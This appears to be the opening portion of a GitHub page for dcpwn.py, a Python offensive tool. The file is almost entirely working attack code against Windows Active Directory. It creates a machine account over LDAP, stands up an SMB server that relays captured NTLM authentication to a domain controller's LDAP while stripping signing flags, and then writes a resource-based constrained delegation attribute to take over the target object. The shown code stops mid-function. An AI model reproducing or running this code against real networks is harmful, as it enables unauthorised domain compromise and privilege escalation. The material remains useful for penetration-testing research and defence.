-
Notifications
You must be signed in to change notification settings - Fork 15
/
dcpwn.py
1798 lines (1449 loc) · 77.8 KB
/
dcpwn.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999
1000
#!/usr/bin/env python
#encoding: utf-8
import os
import sys
import SimpleHTTPServer
import SocketServer
import base64
import datetime
from time import sleep
from argparse import *
from pyasn1.codec.der import decoder, encoder
from pyasn1.type.univ import noValue
from impacket.ntlm import NTLMAuthChallenge, NTLMAuthNegotiate, NTLMAuthChallengeResponse
from impacket.krb5 import constants
from impacket.krb5.ccache import CCache
from impacket.krb5.crypto import Key, _enctype_table, _HMACMD5
from impacket.krb5.types import Principal, KerberosTime, Ticket
from impacket.krb5.kerberosv5 import getKerberosTGT, sendReceive
from impacket.krb5.asn1 import AP_REQ, AS_REP, TGS_REQ, Authenticator, TGS_REP, seq_set, seq_set_iter, PA_FOR_USER_ENC, \
Ticket as TicketAsn1, EncTGSRepPart
from impacket.dcerpc.v5.dcomrt import DCOMConnection
from impacket.dcerpc.v5.dcom import wmi
from impacket.dcerpc.v5.dtypes import NULL
from binascii import hexlify, unhexlify
from struct import unpack
from ldap3.operation import bind
from ldap3 import Server, Connection, ALL, MODIFY_REPLACE, MODIFY_ADD, SUBTREE, NTLM
from ldap3.core.results import RESULT_UNWILLING_TO_PERFORM, RESULT_SUCCESS, RESULT_STRONGER_AUTH_REQUIRED
from threading import Thread
import ConfigParser
import struct
import logging
import time
import calendar
import random
import string
import socket
import threading
from binascii import hexlify
from impacket import smb, ntlm, LOG, smb3
from impacket.nt_errors import STATUS_MORE_PROCESSING_REQUIRED, STATUS_ACCESS_DENIED, STATUS_SUCCESS
from impacket.spnego import SPNEGO_NegTokenResp, SPNEGO_NegTokenInit, TypesMech
from impacket.smbserver import SMBSERVER, outputToJohnFormat, writeJohnOutputToFile
from impacket.spnego import ASN1_AID, MechTypes, ASN1_SUPPORTED_MECH
from impacket.examples.ntlmrelayx.servers.socksserver import activeConnections
from impacket.examples.ntlmrelayx.utils.targetsutils import TargetsProcessor
from impacket.smbserver import getFileTime
from urlparse import urlparse
from impacket.dcerpc.v5 import transport, rprn
from impacket.examples import logger
from impacket import version
from impacket.smbconnection import SMBConnection, SMB_DIALECT, SMB2_DIALECT_002, SMB2_DIALECT_21
from impacket.dcerpc.v5.dcomrt import DCOMConnection
from impacket.dcerpc.v5.dcom import wmi
from impacket.dcerpc.v5.dtypes import NULL
import cmd
import ntpath
# checks if the provided domain credentials have SPN(s); if not, attempt to create a machine account
class SetupAttack:
def __init__(self, username='', domain='', password='', nthash=None, machine_username='', machine_password='',
server_hostname='', dn='', dc_ip='', use_ssl=False):
self.username = username
self.domain = domain
self.dn = dn
self.machine_username = machine_username
self.machine_password = machine_password
self.encoded_password = None
self.server_hostname = server_hostname
self.dc_ip = dc_ip
self.use_ssl = use_ssl
self.ldap_connection = None
if nthash:
self.password = '00000000000000000000000000000000:%s' % nthash
else:
self.password = password
def get_unicode_password(self):
password = self.machine_password
self.encoded_password = '"{}"'.format(password).encode('utf-16-le')
def ldap_login(self):
print "[*] logging in to ldap server"
if self.use_ssl == True:
s = Server(self.dc_ip, port=636, use_ssl=True, get_info=ALL)
else:
s = Server(self.dc_ip, port=389, get_info=ALL)
domain_user = "%s\\%s" % (self.domain, self.username) # we're doing an NTLM login
try:
self.ldap_connection = Connection(s, user=domain_user, password=self.password, authentication=NTLM)
if self.ldap_connection.bind() == True:
print "[+] ldap login as %s successful" % domain_user
except Exception, e:
print "[!] unable to connect: %s" % str(e)
sys.exit()
# I put standalone code for this here: https://gist.github.com/3xocyte/8ad2d227d0906ea5ee294677508620f5
def create_account(self):
if self.machine_username == '':
self.machine_username = ''.join(random.choice(string.uppercase + string.digits) for _ in range(8))
if self.machine_username[-1:] != "$":
self.machine_username += "$"
if self.machine_password == '':
self.machine_password = ''.join(
random.choice(string.uppercase + string.lowercase + string.digits) for _ in range(25))
self.get_unicode_password()
dn = "CN=%s,CN=Computers,%s" % (self.machine_username[:-1], self.dn)
dns_name = self.machine_username[:-1] + '.' + self.domain
if self.ldap_connection.add(dn, attributes={
'objectClass': 'Computer',
'SamAccountName': self.machine_username,
'userAccountControl': '4096',
'DnsHostName': dns_name,
'ServicePrincipalName': [
'HOST/' + dns_name,
'RestrictedKrbHost/' + dns_name,
'HOST/' + self.machine_username[:-1],
'RestrictedKrbHost/' + self.machine_username[:-1]
],
'unicodePwd': self.encoded_password
}):
print "[+] added machine account %s with password %s" % (self.machine_username, self.machine_password)
else:
print "[!] failed to add machine account %s with password %s, %s might have joined too many machines to the domain, try with a different user" % (self.machine_username, self.machine_password, self.username)
exit()
def check_spn(self):
search_filter = '(samaccountname=%s)' % self.username
self.ldap_connection.search(search_base=self.dn, search_filter=search_filter, search_scope=SUBTREE,
attributes=['servicePrincipalName'])
if self.ldap_connection.entries[0]['servicePrincipalName']:
return True
else:
return False
def execute(self):
self.ldap_login()
if self.check_spn():
print "[+] provided account has an SPN"
self.machine_username = self.username
self.machine_password = self.password
else:
self.create_account()
if self.server_hostname == '':
self.server_hostname = ''.join(random.choice(string.uppercase + string.digits) for _ in range(8))
# was going to add an ADIDNS A record but this script is already a bit long for a PoC
self.ldap_connection.unbind()
return self.machine_username, self.machine_password, self.server_hostname
class LDAPRelayClientException(Exception):
pass
# adapted from @_dirkjan and @agsolino, code: https://github.com/SecureAuthCorp/impacket/blob/master/impacket/examples/ntlmrelayx/clients/ldaprelayclient.py
class LDAPRelayClient:
def __init__(self, extendedSecurity=True, dc_ip='', target='', domain='', target_hostname='', username='', dn=''):
self.extendedSecurity = extendedSecurity
self.negotiateMessage = None
self.authenticateMessageBlob = None
self.server = None
self.targetPort = 389
self.dc_ip = dc_ip
self.domain = domain
self.target = target
self.target_hostname = target_hostname
self.username = username
self.dn = dn
def getStandardSecurityChallenge(self):
# Should return the Challenge returned by the server when Extended Security is not set
# This should only happen with against old Servers. By default we return None
return None
# rbcd attack stuff
def get_sid(self, ldap_connection, domain, target):
search_filter = "(sAMAccountName=%s)" % target
try:
ldap_connection.search(self.dn, search_filter, attributes=['objectSid'])
target_sid_readable = ldap_connection.entries[0].objectSid
target_sid = ''.join(ldap_connection.entries[0].objectSid.raw_values)
except Exception, e:
print "[!] unable to to get SID of target: %s, search_filter is %s" % (str(e), search_filter)
return target_sid
def add_attribute(self, ldap_connection, user_sid):
# "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;<sid>"
security_descriptor = (
"\x01\x00\x04\x80\x14\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x24\x00\x00\x00\x01\x02\x00\x00\x00\x00\x00\x05\x20\x00\x00\x00"
"\x20\x02\x00\x00\x02\x00\x2C\x00\x01\x00\x00\x00\x00\x00\x24\x00"
"\xFF\x01\x0F\x00"
)
# build payload
payload = security_descriptor + user_sid
# build LDAP query
if self.target_hostname.endswith("$"): # assume computer account
#dn_base = "CN=%s,CN=Computers," % self.target_hostname[:-1]
dn_base = ["CN=%s,OU=Domain Controllers," % self.target_hostname[:-1], "CN=%s,CN=Computers," % self.target_hostname[:-1]]
else:
dn_base = ["CN=%s,CN=Users," % self.target_hostname]
for base in dn_base:
dn = base + self.dn
print "[*] adding attribute to object %s (dn: %s)..." % (self.target_hostname, dn)
try:
if ldap_connection.modify(dn, {'msds-allowedtoactonbehalfofotheridentity': (MODIFY_REPLACE, payload)}):
print "[+] added msDS-AllowedToActOnBehalfOfOtherIdentity to object %s (dn:%s) for object %s" % (
self.target_hostname, dn, self.username)
break
else:
print "[!] unable to modify attribute"
except Exception, e:
print "[!] unable to assign attribute: %s" % str(e)
def killConnection(self):
if self.session is not None:
self.session.socket.close()
self.session = None
def initConnection(self):
print "[*] initiating connection to ldap://%s:%s" % (self.dc_ip, self.targetPort)
self.server = Server("ldap://%s:%s" % (self.dc_ip, self.targetPort), get_info=ALL)
self.session = Connection(self.server, user="a", password="b", authentication=NTLM)
self.session.open(False)
return True
def sendNegotiate(self, negotiateMessage):
negoMessage = NTLMAuthNegotiate()
negoMessage.fromString(negotiateMessage)
self.negotiateMessage = str(negoMessage)
with self.session.connection_lock:
if not self.session.sasl_in_progress:
self.session.sasl_in_progress = True
request = bind.bind_operation(self.session.version, 'SICILY_PACKAGE_DISCOVERY')
response = self.session.post_send_single_response(self.session.send('bindRequest', request, None))
result = response[0]
try:
sicily_packages = result['server_creds'].decode('ascii').split(';')
except KeyError:
raise LDAPRelayClientException(
'[!] failed to discover authentication methods, server replied: %s' % result)
if 'NTLM' in sicily_packages: # NTLM available on server
request = bind.bind_operation(self.session.version, 'SICILY_NEGOTIATE_NTLM', self)
response = self.session.post_send_single_response(self.session.send('bindRequest', request, None))
result = response[0]
if result['result'] == RESULT_SUCCESS:
challenge = NTLMAuthChallenge()
challenge.fromString(result['server_creds'])
return challenge
else:
raise LDAPRelayClientException('[!] server did not offer ntlm authentication')
# This is a fake function for ldap3 which wants an NTLM client with specific methods
def create_negotiate_message(self):
return self.negotiateMessage
def sendAuth(self, authenticateMessageBlob, serverChallenge=None):
if unpack('B', str(authenticateMessageBlob)[:1])[0] == SPNEGO_NegTokenResp.SPNEGO_NEG_TOKEN_RESP:
respToken2 = SPNEGO_NegTokenResp(authenticateMessageBlob)
token = respToken2['ResponseToken']
print "unpacked response token: " + str(token)
else:
token = authenticateMessageBlob
with self.session.connection_lock:
self.authenticateMessageBlob = token
request = bind.bind_operation(self.session.version, 'SICILY_RESPONSE_NTLM', self, None)
response = self.session.post_send_single_response(self.session.send('bindRequest', request, None))
result = response[0]
self.session.sasl_in_progress = False
if result['result'] == RESULT_SUCCESS:
self.session.bound = True
self.session.refresh_server_info()
print "[+] relay complete"
print "[*] running RBCD attack..."
user_sid = self.get_sid(self.session, self.domain, self.username)
self.add_attribute(self.session, user_sid)
return True, STATUS_SUCCESS
else:
print "result is failed"
if result['result'] == RESULT_STRONGER_AUTH_REQUIRED:
raise LDAPRelayClientException('[!] ldap signing is enabled')
return None, STATUS_ACCESS_DENIED
# This is a fake function for ldap3 which wants an NTLM client with specific methods
def create_authenticate_message(self):
return self.authenticateMessageBlob
# Placeholder function for ldap3
def parse_challenge_message(self, message):
pass
# todo
class LDAPSRelayClient(LDAPRelayClient):
PLUGIN_NAME = "LDAPS"
MODIFY_ADD = MODIFY_ADD
def __init__(self, serverConfig, target, targetPort=636, extendedSecurity=True):
LDAPRelayClient.__init__(self, serverConfig, target, targetPort, extendedSecurity)
def initConnection(self):
self.server = Server("ldaps://%s:%s" % (self.targetHost, self.targetPort), get_info=ALL)
self.session = Connection(self.server, user="a", password="b", authentication=NTLM)
self.session.open(False)
return True
class SMBRelayServer(Thread):
def __init__(self, smb2support=False, domain='', dc_ip='', username='', target_fqdn='', target_hostname='', dn='', port=445, interfaceIp='0.0.0.0', ldaps=False):
Thread.__init__(self)
self.daemon = True
self.server = 0
# Config object
# self.config = config
# Current target IP
#todo 还要支持 ldaps
self.target = urlparse('ldap://%s' % target_fqdn) if not ldaps else urlparse('ldaps://%s' % target_fqdn)
# Targets handler
# self.targetprocessor = self.config.target
# Username we auth as gets stored here later
self.authUser = None
self.proxyTranslator = None
#######
self.domain = domain
self.dc_ip = dc_ip
self.username = username
self.target_fqdn = target_fqdn
self.target_hostname = target_hostname
self.dn = dn
# Here we write a mini config for the server
smbConfig = ConfigParser.ConfigParser()
smbConfig.add_section('global')
smbConfig.set('global', 'server_name', 'server_name')
smbConfig.set('global', 'server_os', 'UNIX')
smbConfig.set('global', 'server_domain', 'WORKGROUP')
smbConfig.set('global', 'log_file', 'smb.log')
smbConfig.set('global', 'credentials_file', '')
if smb2support is True:
smbConfig.set("global", "SMB2Support", "True")
else:
smbConfig.set("global", "SMB2Support", "False")
# if self.config.outputFile is not None:
# smbConfig.set('global', 'jtr_dump_path', self.config.outputFile)
# IPC always needed
smbConfig.add_section('IPC$')
smbConfig.set('IPC$', 'comment', '')
smbConfig.set('IPC$', 'read only', 'yes')
smbConfig.set('IPC$', 'share type', '3')
smbConfig.set('IPC$', 'path', '')
# Change address_family to IPv6 if this is configured
# if self.config.ipv6:
# SMBSERVER.address_family = socket.AF_INET6
# changed to dereference configuration interfaceIp
self.server = SMBSERVER((interfaceIp, port), config_parser=smbConfig)
logging.getLogger('impacket.smbserver').setLevel(logging.CRITICAL)
self.server.processConfigFile()
self.origSmbComNegotiate = self.server.hookSmbCommand(smb.SMB.SMB_COM_NEGOTIATE, self.SmbComNegotiate)
self.origSmbSessionSetupAndX = self.server.hookSmbCommand(smb.SMB.SMB_COM_SESSION_SETUP_ANDX,
self.SmbSessionSetupAndX)
self.origSmbNegotiate = self.server.hookSmb2Command(smb3.SMB2_NEGOTIATE, self.SmbNegotiate)
self.origSmbSessionSetup = self.server.hookSmb2Command(smb3.SMB2_SESSION_SETUP, self.SmbSessionSetup)
# Let's use the SMBServer Connection dictionary to keep track of our client connections as well
# TODO: See if this is the best way to accomplish this
# changed to dereference configuration interfaceIp
self.server.addConnection('SMBRelay', interfaceIp, port)
### SMBv2 Part #################################################################
def SmbNegotiate(self, connId, smbServer, recvPacket, isSMB1=False):
connData = smbServer.getConnectionData(connId, checkStatus=False)
# self.target = self.targetprocessor.getTarget()
#############################################################
# SMBRelay
# Get the data for all connections
smbData = smbServer.getConnectionData('SMBRelay', False)
if smbData.has_key(self.target):
# Remove the previous connection and use the last one
smbClient = smbData[self.target]['SMBClient']
del smbClient
del smbData[self.target]
LOG.info("SMBD: Received connection from %s, attacking target %s://%s" % (
connData['ClientIP'], self.target.scheme, self.target.netloc))
try:
extSec = True
# if self.config.mode.upper() == 'REFLECTION':
# # Force standard security when doing reflection
# LOG.debug("Downgrading to standard security")
# extSec = False
# # recvPacket['Flags2'] += (~smb.SMB.FLAGS2_EXTENDED_SECURITY)
# else:
# extSec = True
# Init the correct client for our target
client = self.init_client(extSec)
except Exception, e:
LOG.error(
"Connection against target %s://%s FAILED: %s" % (self.target.scheme, self.target.netloc, str(e)))
# self.targetprocessor.logTarget(self.target)
else:
smbData[self.target] = {}
smbData[self.target]['SMBClient'] = client
connData['EncryptionKey'] = client.getStandardSecurityChallenge()
smbServer.setConnectionData('SMBRelay', smbData)
smbServer.setConnectionData(connId, connData)
respPacket = smb3.SMB2Packet()
respPacket['Flags'] = smb3.SMB2_FLAGS_SERVER_TO_REDIR
respPacket['Status'] = STATUS_SUCCESS
respPacket['CreditRequestResponse'] = 1
respPacket['Command'] = smb3.SMB2_NEGOTIATE
respPacket['SessionID'] = 0
if isSMB1 is False:
respPacket['MessageID'] = recvPacket['MessageID']
else:
respPacket['MessageID'] = 0
respPacket['TreeID'] = 0
respSMBCommand = smb3.SMB2Negotiate_Response()
# Just for the Nego Packet, then disable it
respSMBCommand['SecurityMode'] = smb3.SMB2_NEGOTIATE_SIGNING_ENABLED
if isSMB1 is True:
# Let's first parse the packet to see if the client supports SMB2
SMBCommand = smb.SMBCommand(recvPacket['Data'][0])
dialects = SMBCommand['Data'].split('\x02')
if 'SMB 2.002\x00' in dialects or 'SMB 2.???\x00' in dialects:
respSMBCommand['DialectRevision'] = smb3.SMB2_DIALECT_002
# respSMBCommand['DialectRevision'] = smb3.SMB2_DIALECT_21
else:
# Client does not support SMB2 fallbacking
raise Exception('SMB2 not supported, fallbacking')
else:
respSMBCommand['DialectRevision'] = smb3.SMB2_DIALECT_002
# respSMBCommand['DialectRevision'] = smb3.SMB2_DIALECT_21
respSMBCommand['ServerGuid'] = ''.join([random.choice(string.letters) for _ in range(16)])
respSMBCommand['Capabilities'] = 0
respSMBCommand['MaxTransactSize'] = 65536
respSMBCommand['MaxReadSize'] = 65536
respSMBCommand['MaxWriteSize'] = 65536
respSMBCommand['SystemTime'] = getFileTime(calendar.timegm(time.gmtime()))
respSMBCommand['ServerStartTime'] = getFileTime(calendar.timegm(time.gmtime()))
respSMBCommand['SecurityBufferOffset'] = 0x80
blob = SPNEGO_NegTokenInit()
blob['MechTypes'] = [TypesMech['NEGOEX - SPNEGO Extended Negotiation Security Mechanism'],
TypesMech['NTLMSSP - Microsoft NTLM Security Support Provider']]
respSMBCommand['Buffer'] = blob.getData()
respSMBCommand['SecurityBufferLength'] = len(respSMBCommand['Buffer'])
respPacket['Data'] = respSMBCommand
smbServer.setConnectionData(connId, connData)
return None, [respPacket], STATUS_SUCCESS
def SmbSessionSetup(self, connId, smbServer, recvPacket):
connData = smbServer.getConnectionData(connId, checkStatus=False)
#############################################################
# SMBRelay
smbData = smbServer.getConnectionData('SMBRelay', False)
#############################################################
respSMBCommand = smb3.SMB2SessionSetup_Response()
sessionSetupData = smb3.SMB2SessionSetup(recvPacket['Data'])
connData['Capabilities'] = sessionSetupData['Capabilities']
securityBlob = sessionSetupData['Buffer']
rawNTLM = False
if struct.unpack('B', securityBlob[0])[0] == ASN1_AID:
# NEGOTIATE packet
blob = SPNEGO_NegTokenInit(securityBlob)
token = blob['MechToken']
if len(blob['MechTypes'][0]) > 0:
# Is this GSSAPI NTLM or something else we don't support?
mechType = blob['MechTypes'][0]
if mechType != TypesMech['NTLMSSP - Microsoft NTLM Security Support Provider'] and \
mechType != TypesMech['NEGOEX - SPNEGO Extended Negotiation Security Mechanism']:
# Nope, do we know it?
if MechTypes.has_key(mechType):
mechStr = MechTypes[mechType]
else:
mechStr = hexlify(mechType)
smbServer.log("Unsupported MechType '%s'" % mechStr, logging.CRITICAL)
# We don't know the token, we answer back again saying
# we just support NTLM.
# ToDo: Build this into a SPNEGO_NegTokenResp()
respToken = '\xa1\x15\x30\x13\xa0\x03\x0a\x01\x03\xa1\x0c\x06\x0a\x2b\x06\x01\x04\x01\x82\x37\x02\x02\x0a'
respSMBCommand['SecurityBufferOffset'] = 0x48
respSMBCommand['SecurityBufferLength'] = len(respToken)
respSMBCommand['Buffer'] = respToken
return [respSMBCommand], None, STATUS_MORE_PROCESSING_REQUIRED
elif struct.unpack('B', securityBlob[0])[0] == ASN1_SUPPORTED_MECH:
# AUTH packet
blob = SPNEGO_NegTokenResp(securityBlob)
token = blob['ResponseToken']
else:
# No GSSAPI stuff, raw NTLMSSP
rawNTLM = True
token = securityBlob
# Here we only handle NTLMSSP, depending on what stage of the
# authentication we are, we act on it
messageType = struct.unpack('<L', token[len('NTLMSSP\x00'):len('NTLMSSP\x00') + 4])[0]
if messageType == 0x01:
# NEGOTIATE_MESSAGE
negotiateMessage = ntlm.NTLMAuthNegotiate()
negotiateMessage.fromString(token)
# Let's store it in the connection data
connData['NEGOTIATE_MESSAGE'] = negotiateMessage
#############################################################
# SMBRelay: Ok.. So we got a NEGOTIATE_MESSAGE from a client.
# Let's send it to the target server and send the answer back to the client.
client = smbData[self.target]['SMBClient']
try:
challengeMessage = self.do_ntlm_negotiate(client, token)
except Exception, e:
# Log this target as processed for this client
# self.targetprocessor.logTarget(self.target)
# Raise exception again to pass it on to the SMB server
raise
#############################################################
if rawNTLM is False:
respToken = SPNEGO_NegTokenResp()
# accept-incomplete. We want more data
respToken['NegResult'] = '\x01'
respToken['SupportedMech'] = TypesMech['NTLMSSP - Microsoft NTLM Security Support Provider']
respToken['ResponseToken'] = challengeMessage.getData()
else:
respToken = challengeMessage
# Setting the packet to STATUS_MORE_PROCESSING
errorCode = STATUS_MORE_PROCESSING_REQUIRED
# Let's set up an UID for this connection and store it
# in the connection's data
connData['Uid'] = random.randint(1, 0xffffffff)
connData['CHALLENGE_MESSAGE'] = challengeMessage
elif messageType == 0x02:
# CHALLENGE_MESSAGE
raise Exception('Challenge Message raise, not implemented!')
elif messageType == 0x03:
# AUTHENTICATE_MESSAGE, here we deal with authentication
#############################################################
# SMBRelay: Ok, so now the have the Auth token, let's send it
# back to the target system and hope for the best.
client = smbData[self.target]['SMBClient']
authenticateMessage = ntlm.NTLMAuthChallengeResponse()
authenticateMessage.fromString(token)
if authenticateMessage['user_name'] != '':
# For some attacks it is important to know the authenticated username, so we store it
self.authUser = ('%s/%s' % (authenticateMessage['domain_name'].decode('utf-16le'),
authenticateMessage['user_name'].decode('utf-16le'))).upper()
if rawNTLM is True:
respToken2 = SPNEGO_NegTokenResp()
respToken2['ResponseToken'] = str(securityBlob)
securityBlob = respToken2.getData()
clientResponse, errorCode = self.do_ntlm_auth(client, securityBlob,
connData['CHALLENGE_MESSAGE']['challenge'])
else:
# Anonymous login, send STATUS_ACCESS_DENIED so we force the client to send his credentials
errorCode = STATUS_ACCESS_DENIED
if errorCode != STATUS_SUCCESS:
# Log this target as processed for this client
# self.targetprocessor.logTarget(self.target)
LOG.error("Authenticating against %s://%s as %s\%s FAILED" % (
self.target.scheme, self.target.netloc, authenticateMessage['domain_name'],
authenticateMessage['user_name']))
client.killConnection()
else:
# We have a session, create a thread and do whatever we want
LOG.info("Authenticating against %s://%s as %s\%s SUCCEED" % (
self.target.scheme, self.target.netloc, authenticateMessage['domain_name'],
authenticateMessage['user_name']))
# Log this target as processed for this client
# self.targetprocessor.logTarget(self.target, True)
del (smbData[self.target])
connData['Authenticated'] = True
self.do_attack(client)
# Now continue with the server
#############################################################
respToken = SPNEGO_NegTokenResp()
# accept-completed
respToken['NegResult'] = '\x00'
# Let's store it in the connection data
connData['AUTHENTICATE_MESSAGE'] = authenticateMessage
else:
raise Exception("Unknown NTLMSSP MessageType %d" % messageType)
respSMBCommand['SecurityBufferOffset'] = 0x48
respSMBCommand['SecurityBufferLength'] = len(respToken)
respSMBCommand['Buffer'] = respToken.getData()
smbServer.setConnectionData(connId, connData)
return [respSMBCommand], None, errorCode
################################################################################
### SMBv1 Part #################################################################
def SmbComNegotiate(self, connId, smbServer, SMBCommand, recvPacket):
connData = smbServer.getConnectionData(connId, checkStatus=False)
# TODO: Check if a cache is better because there is no way to know which target was selected for this victim
# except for relying on the targetprocessor selecting the same target unless a relay was already done
# self.target = self.targetprocessor.getTarget()
#############################################################
# SMBRelay
# Get the data for all connections
smbData = smbServer.getConnectionData('SMBRelay', False)
if smbData.has_key(self.target):
# Remove the previous connection and use the last one
smbClient = smbData[self.target]['SMBClient']
del smbClient
del smbData[self.target]
LOG.info("SMBD: Received connection from %s, attacking target %s://%s" % (
connData['ClientIP'], self.target.scheme, self.target.netloc))
try:
if recvPacket['Flags2'] & smb.SMB.FLAGS2_EXTENDED_SECURITY == 0:
extSec = False
else:
extSec = True
# if self.config.mode.upper() == 'REFLECTION':
# # Force standard security when doing reflection
# LOG.debug("Downgrading to standard security")
# extSec = False
# recvPacket['Flags2'] += (~smb.SMB.FLAGS2_EXTENDED_SECURITY)
# else:
# extSec = True
# Init the correct client for our target
client = self.init_client(extSec)
except Exception, e:
LOG.error(
"Connection against target %s://%s FAILED: %s" % (self.target.scheme, self.target.netloc, str(e)))
# self.targetprocessor.logTarget(self.target)
else:
smbData[self.target] = {}
smbData[self.target]['SMBClient'] = client
connData['EncryptionKey'] = client.getStandardSecurityChallenge()
smbServer.setConnectionData('SMBRelay', smbData)
smbServer.setConnectionData(connId, connData)
return self.origSmbComNegotiate(connId, smbServer, SMBCommand, recvPacket)
#############################################################
def SmbSessionSetupAndX(self, connId, smbServer, SMBCommand, recvPacket):
connData = smbServer.getConnectionData(connId, checkStatus=False)
#############################################################
# SMBRelay
smbData = smbServer.getConnectionData('SMBRelay', False)
#############################################################
respSMBCommand = smb.SMBCommand(smb.SMB.SMB_COM_SESSION_SETUP_ANDX)
if connData['_dialects_parameters']['Capabilities'] & smb.SMB.CAP_EXTENDED_SECURITY:
# Extended security. Here we deal with all SPNEGO stuff
respParameters = smb.SMBSessionSetupAndX_Extended_Response_Parameters()
respData = smb.SMBSessionSetupAndX_Extended_Response_Data()
sessionSetupParameters = smb.SMBSessionSetupAndX_Extended_Parameters(SMBCommand['Parameters'])
sessionSetupData = smb.SMBSessionSetupAndX_Extended_Data()
sessionSetupData['SecurityBlobLength'] = sessionSetupParameters['SecurityBlobLength']
sessionSetupData.fromString(SMBCommand['Data'])
connData['Capabilities'] = sessionSetupParameters['Capabilities']
if struct.unpack('B', sessionSetupData['SecurityBlob'][0])[0] != ASN1_AID:
# If there no GSSAPI ID, it must be an AUTH packet
blob = SPNEGO_NegTokenResp(sessionSetupData['SecurityBlob'])
token = blob['ResponseToken']
else:
# NEGOTIATE packet
blob = SPNEGO_NegTokenInit(sessionSetupData['SecurityBlob'])
token = blob['MechToken']
# Here we only handle NTLMSSP, depending on what stage of the
# authentication we are, we act on it
messageType = struct.unpack('<L', token[len('NTLMSSP\x00'):len('NTLMSSP\x00') + 4])[0]
if messageType == 0x01:
# NEGOTIATE_MESSAGE
negotiateMessage = ntlm.NTLMAuthNegotiate()
negotiateMessage.fromString(token)
# my code starts here..
# my code part 1, not necessary
print 'taking flags out of type 1 message'
negotiateMessage['flags'] = negotiateMessage['flags'] & ~0x00008000 # take out always sign
negotiateMessage['flags'] = negotiateMessage['flags'] & ~0x00000010 # take out negotiate sign
token = negotiateMessage.getData()
# my code part 2, taking out calling values
# not necessary
# negotiateMessage['host_name'] = ''
# negotiateMessage['host_len'] = None
# negotiateMessage['host_maxlen'] = None
# negotiateMessage['host_offset'] = None
#
# negotiateMessage['domain_name'] = ''
# negotiateMessage['domain_len'] = None
# negotiateMessage['domain_max_len'] = None
# negotiateMessage['domain_offset'] = None
#
# negotiateMessage['flags'] = negotiateMessage['flags'] & ~0x00001000 # take out domain supplied
# negotiateMessage['flags'] = negotiateMessage['flags'] & ~0x00002000 # take out workstation supplied
# token = negotiateMessage.getData()
# Let's store it in the connection data
connData['NEGOTIATE_MESSAGE'] = negotiateMessage
#############################################################
# SMBRelay: Ok.. So we got a NEGOTIATE_MESSAGE from a client.
# Let's send it to the target server and send the answer back to the client.
client = smbData[self.target]['SMBClient']
try:
challengeMessage = self.do_ntlm_negotiate(client, token)
except Exception, e:
# Log this target as processed for this client
# self.targetprocessor.logTarget(self.target)
